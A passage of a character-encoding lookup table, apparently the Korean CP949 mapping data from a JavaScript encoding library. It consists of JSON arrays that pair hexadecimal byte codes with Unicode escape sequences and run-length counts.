921",26,"\uB93E\uB93F\uB941\uB942\uB943\uB945",6,"\uB94D\uB94E\uB950\uB952",5],["9041","\uB95A\uB95B\uB95D\uB95E\uB95F\uB961",6,"\uB96A\uB96C\uB96E",5,"\uB976\uB977\uB979\uB97A\uB97B\uB97D"],["9061","\uB97E",5,"\uB986\uB988\uB98B\uB98C\uB98F",15],["9081","\uB99F",12,"\uB9AE\uB9AF\uB9B1\uB9B2\uB9B3\uB9B5",6,"\uB9BE\uB9C0\uB9C2",5,"\uB9CA\uB9CB\uB9CD\uB9D3",4,"\uB9DA\uB9DC\uB9DF\uB9E0\uB9E2\uB9E6\uB9E7\uB9E9\uB9EA\uB9EB\uB9ED",6,"\uB9F6\uB9FB",4,"\uBA02",5,"\uBA09",11,"\uBA16",33,"\uBA3A\uBA3B\uBA3D\uBA3E\uBA3F\uBA41\uBA43\uBA44\uBA45\uBA46"],["9141","\uBA47\uBA4A\uBA4C\uBA4F\uBA50\uBA51\uBA52\uBA56\uBA57\uBA59\uBA5A\uBA5B\uBA5D",6,"\uBA66\uBA6A",5],["9161","\uBA72\uBA73\uBA75\uBA76\uBA77\uBA79",9,"\uBA86\uBA88\uBA89\uBA8A\uBA8B\uBA8D",5],["9181","\uBA93",20,"\uBAAA\uBAAD\uBAAE\uBAAF\uBAB1\uBAB3",4,"\uBABA\uBABC\uBABE",5,"\uBAC5\uBAC6\uBAC7\uBAC9",14,"\uBADA",33,"\uBAFD\uBAFE\uBAFF\uBB01\uBB02\uBB03\uBB05",7,"\uBB0E\uBB10\uBB12",5,"\uBB19\uBB1A\uBB1B\uBB1D\uBB1E\uBB1F\uBB21",6],["9241","\uBB28\uBB2A\uBB2C",7,"\uBB37\uBB39\uBB3A\uBB3F",4,"\uBB46\uBB48\uBB4A\uBB4B\uBB4C\uBB4E\uBB51\uBB52"],["9261","\uBB53\uBB55\uBB56\uBB57\uBB59",7,"\uBB62\uBB64",7,"\uBB6D",4],["9281","\uBB72",21,"\uBB89\uBB8A\uBB8B\uBB8D\uBB8E\uBB8F\uBB91",18,"\uBBA5\uBBA6\uBBA7\uBBA9\uBBAA\uBBAB\uBBAD",6,"\uBBB5\uBBB6\uBBB8",7,"\uBBC1\uBBC2\uBBC3\uBBC5\uBBC6\uBBC7\uBBC9",6,"\uBBD1\uBBD2\uBBD4",35,"\uBBFA\uBBFB\uBBFD\uBBFE\uBC01"],["9341","\uBC03",4,"\uBC0A\uBC0E\uBC10\uBC12\uBC13\uBC19\uBC1A\uBC20\uBC21\uBC22\uBC23\uBC26\uBC28\uBC2A\uBC2B\uBC2C\uBC2E\uBC2F\uBC32\uBC33\uBC35"],["9361","\uBC36\uBC37\uBC39",6,"\uBC42\uBC46\uBC47\uBC48\uBC4A\uBC4B\uBC4E\uBC4F\uBC51",8],["9381","\uBC5A\uBC5B\uBC5C\uBC5E",37,"\uBC86\uBC87\uBC89\uBC8A\uBC8D\uBC8F",4,"\uBC96\uBC98\uBC9B",4,"\uBCA2\uBCA3\uBCA5\uBCA6\uBCA9",6,"\uBCB2\uBCB6",5,"\uBCBE\uBCBF\uBCC1\uBCC2\uBCC3\uBCC5",7,"\uBCCE\uBCD2\uBCD3\uBCD4\uBCD6\uBCD7\uBCD9\uBCDA\uBCDB\uBCDD",22,"\uBCF7\uBCF9\uBCFA\uBCFB\uBCFD"],["9441","\uBCFE",5,"\uBD06\uBD08\uBD0A",5,"\uBD11\uBD12\uBD13\uBD15",8],["9461","\uBD1E",5,"\uBD25",6,"\uBD2D",12],["9481","\uBD3A",5,"\uBD41",6,"\uBD4A\uBD4B\uBD4D\uBD4E\uBD4F\uBD51",6,"\uBD5A",9,"\uBD65\uBD66\uBD67\uBD69",22,"\uBD82\uBD83\uBD85\uBD86\uBD8B",4,"\uBD92\uBD94\uBD96\uBD97\uBD98\uBD9B\uBD9D",6,"\uBDA5",10,"\uBDB1",6,"\uBDB9",24],["9541","\uBDD2\uBDD3\uBDD6\uBDD7\uBDD9\uBDDA\uBDDB\uBDDD",11,"\uBDEA",5,"\uBDF1"],["9561","\uBDF2\uBDF3\uBDF5\uBDF6\uBDF7\uBDF9",6,"\uBE01\uBE02\uBE04\uBE06",5,"\uBE0E\uBE0F\uBE11\uBE12\uBE13"],["9581","\uBE15",6,"\uBE1E\uBE20",35,"\uBE46\uBE47\uBE49\uBE4A\uBE4B\uBE4D\uBE4F",4,"\uBE56\uBE58\uBE5C\uBE5D\uBE5E\uBE5F\uBE62\uBE63\uBE65\uBE66\uBE67\uBE69\uBE6B",4,"\uBE72\uBE76",4,"\uBE7E\uBE7F\uBE81\uBE82\uBE83\uBE85",6,"\uBE8E\uBE92",5,"\uBE9A",13,"\uBEA9",14],["9641","\uBEB8",23,"\uBED2\uBED3"],["9661","\uBED5\uBED6\uBED9",6,"\uBEE1\uBEE2\uBEE6",5,"\uBEED",8],["9681","\uBEF6",10,"\uBF02",5,"\uBF0A",13,"\uBF1A\uBF1E",33,"\uBF42\uBF43\uBF45\uBF46\uBF47\uBF49",6,"\uBF52\uBF53\uBF54\uBF56",44],["9741","\uBF83",16,"\uBF95",8],["9761","\uBF9E",17,"\uBFB1",7],["9781","\uBFB9",11,"\uBFC6",5,"\uBFCE\uBFCF\uBFD1\uBFD2\uBFD3\uBFD5",6,"\uBFDD\uBFDE\uBFE0\uBFE2",89,"\uC03D\uC03E\uC03F"],["9841","\uC040",16,"\uC052",5,"\uC059\uC05A\uC05B"],["9861","\uC05D\uC05E\uC05F\uC061",6,"\uC06A",15],["9881","\uC07A",21,"\uC092\uC093\uC095\uC096\uC097\uC099",6,"\uC0A2\uC0A4\uC0A6",5,"\uC0AE\uC0B1\uC0B2\uC0B7",4,"\uC0BE\uC0C2\uC0C3\uC0C4\uC0C6\uC0C7\uC0CA\uC0CB\uC0CD\uC0CE\uC0CF\uC0D1",6,"\uC0DA\uC0DE",5,"\uC0E6\uC0E7\uC0E9\uC0EA\uC0EB\uC0ED",6,"\uC0F6\uC0F8\uC0FA",5,"\uC101\uC102\uC103\uC105\uC106\uC107\uC109",6,"\uC111\uC112\uC113\uC114\uC116",5,"\uC121\uC122\uC125\uC128\uC129\uC12A\uC12B\uC12E"],["9941","\uC132\uC133\uC134\uC135\uC137\uC13A\uC13B\uC13D\uC13E\uC13F\uC141",6,"\uC14A\uC14E",5,"\uC156\uC157"],["9961","\uC159\uC15A\uC15B\uC15D",6,"\uC166\uC16A",5,"\uC171\uC172\uC173\uC175\uC176\uC177\uC179\uC17A\uC17B"],["9981","\uC17C",8,"\uC186",5,"\uC18F\uC191\uC192\uC193\uC195\uC197",4,"\uC19E\uC1A0\uC1A2\uC1A3\uC1A4\uC1A6\uC1A7\uC1AA\uC1AB\uC1AD\uC1AE\uC1AF\uC1B1",11,"\uC1BE",5,"\uC1C5\uC1C6\uC1C7\uC1C9\uC1CA\uC1CB\uC1CD",6,"\uC1D5\uC1D6\uC1D9",6,"\uC1E1\uC1E2\uC1E3\uC1E5\uC1E6\uC1E7\uC1E9",6,"\uC1F2\uC1F4",7,"\uC1FE\uC1FF\uC201\uC202\uC203\uC205",6,"\uC20E\uC210\uC212",5,"\uC21A\uC21B\uC21D\uC21E\uC221\uC222\uC223"],["9a41","\uC224\uC225\uC226\uC227\uC22A\uC22C\uC22E\uC230\uC233\uC235",16],["9a61","\uC246\uC247\uC249",6,"\uC252\uC253\uC255\uC256\uC257\uC259",6,"\uC261\uC262\uC263\uC264\uC266"],["9a81","\uC267",4,"\uC26E\uC26F\uC271\uC272\uC273\uC275",6,"\uC27E\uC280\uC282",5,"\uC28A",5,"\uC291",6,"\uC299\uC29A\uC29C\uC29E",5,"\uC2A6\uC2A7\uC2A9\uC2AA\uC2AB\uC2AE",5,"\uC2B6\uC2B8\uC2BA",33,"\uC2DE\uC2DF\uC2E1\uC2E2\uC2E5",5,"\uC2EE\uC2F0\uC2F2\uC2F3\uC2F4\uC2F5\uC2F7\uC2FA\uC2FD\uC2FE\uC2FF\uC301",6,"\uC30A\uC30B\uC30E\uC30F"],["9b41","\uC310\uC311\uC312\uC316\uC317\uC319\uC31A\uC31B\uC31D",6,"\uC326\uC327\uC32A",8],["9b61","\uC333",17,"\uC346",7],["9b81","\uC34E",25,"\uC36A\uC36B\uC36D\uC36E\uC36F\uC371\uC373",4,"\uC37A\uC37B\uC37E",5,"\uC385\uC386\uC387\uC389\uC38A\uC38B\uC38D",50,"\uC3C1",22,"\uC3DA"],["9c41","\uC3DB\uC3DD\uC3DE\uC3E1\uC3E3",4,"\uC3EA\uC3EB\uC3EC\uC3EE",5,"\uC3F6\uC3F7\uC3F9",5],["9c61","\uC3FF",8,"\uC409",6,"\uC411",9],["9c81","\uC41B",8,"\uC425",6,"\uC42D\uC42E\uC42F\uC431\uC432\uC433\uC435",6,"\uC43E",9,"\uC449",26,"\uC466\uC467\uC469\uC46A\uC46B\uC46D",6,"\uC476\uC477\uC478\uC47A",5,"\uC481",18,"\uC495",6,"\uC49D",12],["9d41","\uC4AA",13,"\uC4B9\uC4BA\uC4BB\uC4BD",8],["9d61","\uC4C6",25],["9d81","\uC4E0",8,"\uC4EA",5,"\uC4F2\uC4F3\uC4F5\uC4F6\uC4F7\uC4F9\uC4FB\uC4FC\uC4FD\uC4FE\uC502",9,"\uC50D\uC50E\uC50F\uC511\uC512\uC513\uC515",6,"\uC51D",10,"\uC52A\uC52B\uC52D\uC52E\uC52F\uC531",6,"\uC53A\uC53C\uC53E",5,"\uC546\uC547\uC54B\uC54F\uC550\uC551\uC552\uC556\uC55A\uC55B\uC55C\uC55F\uC562\uC563\uC565\uC566\uC567\uC569",6,"\uC572\uC576",5,"\uC57E\uC57F\uC581\uC582\uC583\uC585\uC586\uC588\uC589\uC58A\uC58B\uC58E\uC590\uC592\uC593\uC594"],["9e41","\uC596\uC599\uC59A\uC59B\uC59D\uC59E\uC59F\uC5A1",7,"\uC5AA",9,"\uC5B6"],["9e61","\uC5B7\uC5BA\uC5BF",4,"\uC5CB\uC5CD\uC5CF\uC5D2\uC5D3\uC5D5\uC5D6\uC5D7\uC5D9",6,"\uC5E2\uC5E4\uC5E6\uC5E7"],["9e81","\uC5E8\uC5E9\uC5EA\uC5EB\uC5EF\uC5F1\uC5F2\uC5F3\uC5F5\uC5F8\uC5F9\uC5FA\uC5FB\uC602\uC603\uC604\uC609\uC60A\uC60B\uC60D\uC60E\uC60F\uC611",6,"\uC61A\uC61D",6,"\uC626\uC627\uC629\uC62A\uC62B\uC62F\uC631\uC632\uC636\uC638\uC63A\uC63C\uC63D\uC63E\uC63F\uC642\uC643\uC645\uC646\uC647\uC649",6,"\uC652\uC656",5,"\uC65E\uC65F\uC661",10,"\uC66D\uC66E\uC670\uC672",5,"\uC67A\uC67B\uC67D\uC67E\uC67F\uC681",6,"\uC68A\uC68C\uC68E",5,"\uC696\uC697\uC699\uC69A\uC69B\uC69D",6,"\uC6A6"],["9f41","\uC6A8\uC6AA",5,"\uC6B2\uC6B3\uC6B5\uC6B6\uC6B7\uC6BB",4,"\uC6C2\uC6C4\uC6C6",5,"\uC6CE"],["9f61","\uC6CF\uC6D1\uC6D2\uC6D3\uC6D5",6,"\uC6DE\uC6DF\uC6E2",5,"\uC6EA\uC6EB\uC6ED\uC6EE\uC6EF\uC6F1\uC6F2"],["9f81","\uC6F3",4,"\uC6FA\uC6FB\uC6FC\uC6FE",5,"\uC706\uC707\uC709\uC70A\uC70B\uC70D",6,"\uC716\uC718\uC71A",5,"\uC722\uC723\uC725\uC726\uC727\uC729",6,"\uC732\uC734\uC736\uC738\uC739\uC73A\uC73B\uC73E\uC73F\uC741\uC742\uC743\uC745",4,"\uC74B\uC74E\uC750\uC759\uC75A\uC75B\uC75D\uC75E\uC75F\uC761",6,"\uC769\uC76A\uC76C",7,"\uC776\uC777\uC779\uC77A\uC77B\uC77F\uC780\uC781\uC782\uC786\uC78B\uC78C\uC78D\uC78F\uC792\uC793\uC795\uC799\uC79B",4,"\uC7A2\uC7A7",4,"\uC7AE\uC7AF\uC7B1\uC7B2\uC7B3\uC7B5\uC7B6\uC7B7"],["a041","\uC7B8\uC7B9\uC7BA\uC7BB\uC7BE\uC7C2",5,"\uC7CA\uC7CB\uC7CD\uC7CF\uC7D1",6,"\uC7D9\uC7DA\uC7DB\uC7DC"],["a061","\uC7DE",5,"\uC7E5\uC7E6\uC7E7\uC7E9\uC7EA\uC7EB\uC7ED",13],["a081","\uC7FB",4,"\uC802\uC803\uC805\uC806\uC807\uC809\uC80B",4,"\uC812\uC814\uC817",4,"\uC81E\uC81F\uC821\uC822\uC823\uC825",6,"\uC82E\uC830\uC832",5,"\uC839\uC83A\uC83B\uC83D\uC83E\uC83F\uC841",6,"\uC84A\uC84B\uC84E",5,"\uC855",26,"\uC872\uC873\uC875\uC876\uC877\uC879\uC87B",4,"\uC882\uC884\uC888\uC889\uC88A\uC88E",5,"\uC895",7,"\uC89E\uC8A0\uC8A2\uC8A3\uC8A4"],["a141","\uC8A5\uC8A6\uC8A7\uC8A9",18,"\uC8BE\uC8BF\uC8C0\uC8C1"],["a161","\uC8C2\uC8C3\uC8C5\uC8C6\uC8C7\uC8C9\uC8CA\uC8CB\uC8CD",6,"\uC8D6\uC8D8\uC8DA",5,"\uC8E2\uC8E3\uC8E5"],["a181","\uC8E6",14,"\uC8F6",5,"\uC8FE\uC8FF\uC901\uC902\uC903\uC907",4,"\uC90E\u3000\u3001\u3002\xB7\u2025\u2026\xA8\u3003\xAD\u2015\u2225\uFF3C\u223C\u2018\u2019\u201C\u201D\u3014\u3015\u3008",9,"\xB1\xD7\xF7\u2260\u2264\u2265\u221E\u2234\xB0\u2032\u2033\u2103\u212B\uFFE0\uFFE1\uFFE5\u2642\u2640\u2220\u22A5\u2312\u2202\u2207\u2261\u2252\xA7\u203B\u2606\u2605\u25CB\u25CF\u25CE\u25C7\u25C6\u25A1\u25A0\u25B3\u25B2\u25BD\u25BC\u2192\u2190\u2191\u2193\u2194\u3013\u226A\u226B\u221A\u223D\u221D\u2235\u222B\u222C\u2208\u220B\u2286\u2287\u2282\u2283\u222A\u2229\u2227\u2228\uFFE2"],["a241","\uC910\uC912",5,"\uC919",18],["a261","\uC92D",6,"\uC935",18],["a281","\uC948",7,"\uC952\uC953\uC955\uC956\uC957\uC959",6,"\uC962\uC964",7,"\uC96D\uC96E\uC96F\u21D2\u21D4\u2200\u2203\xB4\uFF5E\u02C7\u02D8\u02DD\u02DA\u02D9\xB8\u02DB\xA1\xBF\u02D0\u222E\u2211\u220F\xA4\u2109\u2030\u25C1\u25C0\u25B7\u25B6\u2664\u2660\u2661\u2665\u2667\u2663\u2299\u25C8\u25A3\u25D0\u25D1\u2592\u25A4\u25A5\u25A8\u25A7\u25A6\u25A9\u2668\u260F\u260E\u261C\u261E\xB6\u2020\u2021\u2195\u2197\u2199\u2196\u2198\u266D\u2669\u266A\u266C\u327F\u321C\u2116\u33C7\u2122\u33C2\u33D8\u2121\u20AC\xAE"],["a341","\uC971\uC972\uC973\uC975",6,"\uC97D",10,"\uC98A\uC98B\uC98D\uC98E\uC98F"],["a361","\uC991",6,"\uC99A\uC99C\uC99E",16],["a381","\uC9AF",16,"\uC9C2\uC9C3\uC9C5\uC9C6\uC9C9\uC9CB",4,"\uC9D2\uC9D4\uC9D7\uC9D8\uC9DB\uFF01",58,"\uFFE6\uFF3D",32,"\uFFE3"],["a441","\uC9DE\uC9DF\uC9E1\uC9E3\uC9E5\uC9E6\uC9E8\uC9E9\uC9EA\uC9EB\uC9EE\uC9F2",5,"\uC9FA\uC9FB\uC9FD\uC9FE\uC9FF\uCA01\uCA02\uCA03\uCA04"],["a461","\uCA05\uCA06\uCA07\uCA0A\uCA0E",5,"\uCA15\uCA16\uCA17\uCA19",12],["a481","\uCA26\uCA27\uCA28\uCA2A",28,"\u3131",93],["a541","\uCA47",4,"\uCA4E\uCA4F\uCA51\uCA52\uCA53\uCA55",6,"\uCA5E\uCA62",5,"\uCA69\uCA6A"],["a561","\uCA6B",17,"\uCA7E",5,"\uCA85\uCA86"],["a581","\uCA87",16,"\uCA99",14,"\u2170",9],["a5b0","\u2160",9],["a5c1","\u0391",16,"\u03A3",6],["a5e1","\u03B1",16,"\u03C3",6],["a641","\uCAA8",19,"\uCABE\uCABF\uCAC1\uCAC2\uCAC3\uCAC5"],["a661","\uCAC6",5,"\uCACE\uCAD0\uCAD2\uCAD4\uCAD5\uCAD6\uCAD7\uCADA",5,"\uCAE1",6],["a681","\uCAE8\uCAE9\uCAEA\uCAEB\uCAED",6,"\uCAF5",18,"\uCB09\uCB0A\u2500\u2502\u250C\u2510\u2518\u2514\u251C\u252C\u2524\u2534\u253C\u2501\u2503\u250F\u2513\u251B\u2517\u2523\u2533\u252B\u253B\u254B\u2520\u252F\u2528\u2537\u253F\u251D\u2530\u2525\u2538\u2542\u2512\u2511\u251A\u2519\u2516\u2515\u250E\u250D\u251E\u251F\u2521\u2522\u2526\u2527\u2529\u252A\u252D\u252E\u2531\u2532\u2535\u2536\u2539\u253A\u253D\u253E\u2540\u2541\u2543",7],["a741","\uCB0B",4,"\uCB11\uCB12\uCB13\uCB15\uCB16\uCB17\uCB19",6,"\uCB22",7],["a761","\uCB2A",22,"\uCB42\uCB43\uCB44"],["a781","\uCB45\uCB46\uCB47\uCB4A\uCB4B\uCB4D\uCB4E\uCB4F\uCB51",6,"\uCB5A\uCB5B\uCB5C\uCB5E",5,"\uCB65",7,"\u3395\u3396\u3397\u2113\u3398\u33C4\u33A3\u33A4\u33A5\u33A6\u3399",9,"\u33CA\u338D\u338E\u338F\u33CF\u3388\u3389\u33C8\u33A7\u33A8\u33B0",9,"\u3380",4,"\u33BA",5,"\u3390",4,"\u2126\u33C0\u33C1\u338A\u338B\u338C\u33D6\u33C5\u33AD\u33AE\u33AF\u33DB\u33A9\u33AA\u33AB\u33AC\u33DD\u33D0\u33D3\u33C3\u33C9\u33DC\u33C6"],["a841","\uCB6D",10,"\uCB7A",14],["a861","\uCB89",18,"\uCB9D",6],["a881","\uCBA4",19,"\uCBB9",11,"\xC6\xD0\xAA\u0126"],["a8a6","\u0132"],["a8a8","\u013F\u0141\xD8\u0152\xBA\xDE\u0166\u014A"],["a8b1","\u3260",27,"\u24D0",25,"\u2460",14,"\xBD\u2153\u2154\xBC\xBE\u215B\u215C\u215D\u215E"],["a941","\uCBC5",14,"\uCBD5",10],["a961","\uCBE0\uCBE1\uCBE2\uCBE3\uCBE5\uCBE6\uCBE8\uCBEA",18],["a981","\uCBFD",14,"\uCC0E\uCC0F\uCC11\uCC12\uCC13\uCC15",6,"\uCC1E\uCC1F\uCC20\uCC23\uCC24\xE6\u0111\xF0\u0127\u0131\u0133\u0138\u0140\u0142\xF8\u0153\xDF\xFE\u0167\u014B\u0149\u3200",27,"\u249C",25,"\u2474",14,"\xB9\xB2\xB3\u2074\u207F\u2081\u2082\u2083\u2084"],["aa41","\uCC25\uCC26\uCC2A\uCC2B\uCC2D\uCC2F\uCC31",6,"\uCC3A\uCC3F",4,"\uCC46\uCC47\uCC49\uCC4A\uCC4B\uCC4D\uCC4E"],["aa61","\uCC4F",4,"\uCC56\uCC5A",5,"\uCC61\uCC62\uCC63\uCC65\uCC67\uCC69",6,"\uCC71\uCC72"],["aa81","\uCC73\uCC74\uCC76",29,"\u3041",82],["ab41","\uCC94\uCC95\uCC96\uCC97\uCC9A\uCC9B\uCC9D\uCC9E\uCC9F\uCCA1",6,"\uCCAA\uCCAE",5,"\uCCB6\uCCB7\uCCB9"],["ab61","\uCCBA\uCCBB\uCCBD",6,"\uCCC6\uCCC8\uCCCA",5,"\uCCD1\uCCD2\uCCD3\uCCD5",5],["ab81","\uCCDB",8,"\uCCE5",6,"\uCCED\uCCEE\uCCEF\uCCF1",12,"\u30A1",85],["ac41","\uCCFE\uCCFF\uCD00\uCD02",5,"\uCD0A\uCD0B\uCD0D\uCD0E\uCD0F\uCD11",6,"\uCD1A\uCD1C\uCD1E\uCD1F\uCD20"],["ac61","\uCD21\uCD22\uCD23\uCD25\uCD26\uCD27\uCD29\uCD2A\uCD2B\uCD2D",11,"\uCD3A",4],["ac81","\uCD3F",28,"\uCD5D\uCD5E\uCD5F\u0410",5,"\u0401\u0416",25],["acd1","\u0430",5,"\u0451\u0436",25],["ad41","\uCD61\uCD62\uCD63\uCD65",6,"\uCD6E\uCD70\uCD72",5,"\uCD79",7],["ad61","\uCD81",6,"\uCD89",10,"\uCD96\uCD97\uCD99\uCD9A\uCD9B\uCD9D\uCD9E\uCD9F"],["ad81","\uCDA0\uCDA1\uCDA2\uCDA3\uCDA6\uCDA8\uCDAA",5,"\uCDB1",18,"\uCDC5"],["ae41","\uCDC6",5,"\uCDCD\uCDCE\uCDCF\uCDD1",16],["ae61","\uCDE2",5,"\uCDE9\uCDEA\uCDEB\uCDED\uCDEE\uCDEF\uCDF1",6,"\uCDFA\uCDFC\uCDFE",4],["ae81","\uCE03\uCE05\uCE06\uCE07\uCE09\uCE0A\uCE0B\uCE0D",6,"\uCE15\uCE16\uCE17\uCE18\uCE1A",5,"\uCE22\uCE23\uCE25\uCE26\uCE27\uCE29\uCE2A\uCE2B"],["af41","\uCE2C\uCE2D\uCE2E\uCE2F\uCE32\uCE34\uCE36",19],["af61","\uCE4A",13,"\uCE5A\uCE5B\uCE5D\uCE5E\uCE62",5,"\uCE6A\uCE6C"],["af81","\uCE6E",5,"\uCE76\uCE77\uCE79\uCE7A\uCE7B\uCE7D",6,"\uCE86\uCE88\uCE8A",5,"\uCE92\uCE93\uCE95\uCE96\uCE97\uCE99"],["b041","\uCE9A",5,"\uCEA2\uCEA6",5,"\uCEAE",12],["b061","\uCEBB",5,"\uCEC2",19],["b081","\uCED6",13,"\uCEE6\uCEE7\uCEE9\uCEEA\uCEED",6,"\uCEF6\uCEFA",5,"\uAC00\uAC01\uAC04\uAC07\uAC08\uAC09\uAC0A\uAC10",7,"\uAC19",4,"\uAC20\uAC24\uAC2C\uAC2D\uAC2F\uAC30\uAC31\uAC38\uAC39\uAC3C\uAC40\uAC4B\uAC4D\uAC54\uAC58\uAC5C\uAC70\uAC71\uAC74\uAC77\uAC78\uAC7A\uAC80\uAC81\uAC83\uAC84\uAC85\uAC86\uAC89\uAC8A\uAC8B\uAC8C\uAC90\uAC94\uAC9C\uAC9D\uAC9F\uACA0\uACA1\uACA8\uACA9\uACAA\uACAC\uACAF\uACB0\uACB8\uACB9\uACBB\uACBC\uACBD\uACC1\uACC4\uACC8\uACCC\uACD5\uACD7\uACE0\uACE1\uACE4\uACE7\uACE8\uACEA\uACEC\uACEF\uACF0\uACF1\uACF3\uACF5\uACF6\uACFC\uACFD\uAD00\uAD04\uAD06"],["b141","\uCF02\uCF03\uCF05\uCF06\uCF07\uCF09",6,"\uCF12\uCF14\uCF16",5,"\uCF1D\uCF1E\uCF1F\uCF21\uCF22\uCF23"],["b161","\uCF25",6,"\uCF2E\uCF32",5,"\uCF39",11],["b181","\uCF45",14,"\uCF56\uCF57\uCF59\uCF5A\uCF5B\uCF5D",6,"\uCF66\uCF68\uCF6A\uCF6B\uCF6C\uAD0C\uAD0D\uAD0F\uAD11\uAD18\uAD1C\uAD20\uAD29\uAD2C\uAD2D\uAD34\uAD35\uAD38\uAD3C\uAD44\uAD45\uAD47\uAD49\uAD50\uAD54\uAD58\uAD61\uAD63\uAD6C\uAD6D\uAD70\uAD73\uAD74\uAD75\uAD76\uAD7B\uAD7C\uAD7D\uAD7F\uAD81\uAD82\uAD88\uAD89\uAD8C\uAD90\uAD9C\uAD9D\uADA4\uADB7\uADC0\uADC1\uADC4\uADC8\uADD0\uADD1\uADD3\uADDC\uADE0\uADE4\uADF8\uADF9\uADFC\uADFF\uAE00\uAE01\uAE08\uAE09\uAE0B\uAE0D\uAE14\uAE30\uAE31\uAE34\uAE37\uAE38\uAE3A\uAE40\uAE41\uAE43\uAE45\uAE46\uAE4A\uAE4C\uAE4D\uAE4E\uAE50\uAE54\uAE56\uAE5C\uAE5D\uAE5F\uAE60\uAE61\uAE65\uAE68\uAE69\uAE6C\uAE70\uAE78"],["b241","\uCF6D\uCF6E\uCF6F\uCF72\uCF73\uCF75\uCF76\uCF77\uCF79",6,"\uCF81\uCF82\uCF83\uCF84\uCF86",5,"\uCF8D"],["b261","\uCF8E",18,"\uCFA2",5,"\uCFA9"],["b281","\uCFAA",5,"\uCFB1",18,"\uCFC5",6,"\uAE79\uAE7B\uAE7C\uAE7D\uAE84\uAE85\uAE8C\uAEBC\uAEBD\uAEBE\uAEC0\uAEC4\uAECC\uAECD\uAECF\uAED0\uAED1\uAED8\uAED9\uAEDC\uAEE8\uAEEB\uAEED\uAEF4\uAEF8\uAEFC\uAF07\uAF08\uAF0D\uAF10\uAF2C\uAF2D\uAF30\uAF32\uAF34\uAF3C\uAF3D\uAF3F\uAF41\uAF42\uAF43\uAF48\uAF49\uAF50\uAF5C\uAF5D\uAF64\uAF65\uAF79\uAF80\uAF84\uAF88\uAF90\uAF91\uAF95\uAF9C\uAFB8\uAFB9\uAFBC\uAFC0\uAFC7\uAFC8\uAFC9\uAFCB\uAFCD\uAFCE\uAFD4\uAFDC\uAFE8\uAFE9\uAFF0\uAFF1\uAFF4\uAFF8\uB000\uB001\uB004\uB00C\uB010\uB014\uB01C\uB01D\uB028\uB044\uB045\uB048\uB04A\uB04C\uB04E\uB053\uB054\uB055\uB057\uB059"],["b341","\uCFCC",19,"\uCFE2\uCFE3\uCFE5\uCFE6\uCFE7\uCFE9"],["b361","\uCFEA",5,"\uCFF2\uCFF4\uCFF6",5,"\uCFFD\uCFFE\uCFFF\uD001\uD002\uD003\uD005",5],["b381","\uD00B",5,"\uD012",5,"\uD019",19,"\uB05D\uB07C\uB07D\uB080\uB084\uB08C\uB08D\uB08F\uB091\uB098\uB099\uB09A\uB09C\uB09F\uB0A0\uB0A1\uB0A2\uB0A8\uB0A9\uB0AB",4,"\uB0B1\uB0B3\uB0B4\uB0B5\uB0B8\uB0BC\uB0C4\uB0C5\uB0C7\uB0C8\uB0C9\uB0D0\uB0D1\uB0D4\uB0D8\uB0E0\uB0E5\uB108\uB109\uB10B\uB10C\uB110\uB112\uB113\uB118\uB119\uB11B\uB11C\uB11D\uB123\uB124\uB125\uB128\uB12C\uB134\uB135\uB137\uB138\uB139\uB140\uB141\uB144\uB148\uB150\uB151\uB154\uB155\uB158\uB15C\uB160\uB178\uB179\uB17C\uB180\uB182\uB188\uB189\uB18B\uB18D\uB192\uB193\uB194\uB198\uB19C\uB1A8\uB1CC\uB1D0\uB1D4\uB1DC\uB1DD"],["b441","\uD02E",5,"\uD036\uD037\uD039\uD03A\uD03B\uD03D",6,"\uD046\uD048\uD04A",5],["b461","\uD051\uD052\uD053\uD055\uD056\uD057\uD059",6,"\uD061",10,"\uD06E\uD06F"],["b481","\uD071\uD072\uD073\uD075",6,"\uD07E\uD07F\uD080\uD082",18,"\uB1DF\uB1E8\uB1E9\uB1EC\uB1F0\uB1F9\uB1FB\uB1FD\uB204\uB205\uB208\uB20B\uB20C\uB214\uB215\uB217\uB219\uB220\uB234\uB23C\uB258\uB25C\uB260\uB268\uB269\uB274\uB275\uB27C\uB284\uB285\uB289\uB290\uB291\uB294\uB298\uB299\uB29A\uB2A0\uB2A1\uB2A3\uB2A5\uB2A6\uB2AA\uB2AC\uB2B0\uB2B4\uB2C8\uB2C9\uB2CC\uB2D0\uB2D2\uB2D8\uB2D9\uB2DB\uB2DD\uB2E2\uB2E4\uB2E5\uB2E6\uB2E8\uB2EB",4,"\uB2F3\uB2F4\uB2F5\uB2F7",4,"\uB2FF\uB300\uB301\uB304\uB308\uB310\uB311\uB313\uB314\uB315\uB31C\uB354\uB355\uB356\uB358\uB35B\uB35C\uB35E\uB35F\uB364\uB365"],["b541","\uD095",14,"\uD0A6\uD0A7\uD0A9\uD0AA\uD0AB\uD0AD",5],["b561","\uD0B3\uD0B6\uD0B8\uD0BA",5,"\uD0C2\uD0C3\uD0C5\uD0C6\uD0C7\uD0CA",5,"\uD0D2\uD0D6",4],["b581","\uD0DB\uD0DE\uD0DF\uD0E1\uD0E2\uD0E3\uD0E5",6,"\uD0EE\uD0F2",5,"\uD0F9",11,"\uB367\uB369\uB36B\uB36E\uB370\uB371\uB374\uB378\uB380\uB381\uB383\uB384\uB385\uB38C\uB390\uB394\uB3A0\uB3A1\uB3A8\uB3AC\uB3C4\uB3C5\uB3C8\uB3CB\uB3CC\uB3CE\uB3D0\uB3D4\uB3D5\uB3D7\uB3D9\uB3DB\uB3DD\uB3E0\uB3E4\uB3E8\uB3FC\uB410\uB418\uB41C\uB420\uB428\uB429\uB42B\uB434\uB450\uB451\uB454\uB458\uB460\uB461\uB463\uB465\uB46C\uB480\uB488\uB49D\uB4A4\uB4A8\uB4AC\uB4B5\uB4B7\uB4B9\uB4C0\uB4C4\uB4C8\uB4D0\uB4D5\uB4DC\uB4DD\uB4E0\uB4E3\uB4E4\uB4E6\uB4EC\uB4ED\uB4EF\uB4F1\uB4F8\uB514\uB515\uB518\uB51B\uB51C\uB524\uB525\uB527\uB528\uB529\uB52A\uB530\uB531\uB534\uB538"],["b641","\uD105",7,"\uD10E",17],["b661","\uD120",15,"\uD132\uD133\uD135\uD136\uD137\uD139\uD13B\uD13C\uD13D\uD13E"],["b681","\uD13F\uD142\uD146",5,"\uD14E\uD14F\uD151\uD152\uD153\uD155",6,"\uD15E\uD160\uD162",5,"\uD169\uD16A\uD16B\uD16D\uB540\uB541\uB543\uB544\uB545\uB54B\uB54C\uB54D\uB550\uB554\uB55C\uB55D\uB55F\uB560\uB561\uB5A0\uB5A1\uB5A4\uB5A8\uB5AA\uB5AB\uB5B0\uB5B1\uB5B3\uB5B4\uB5B5\uB5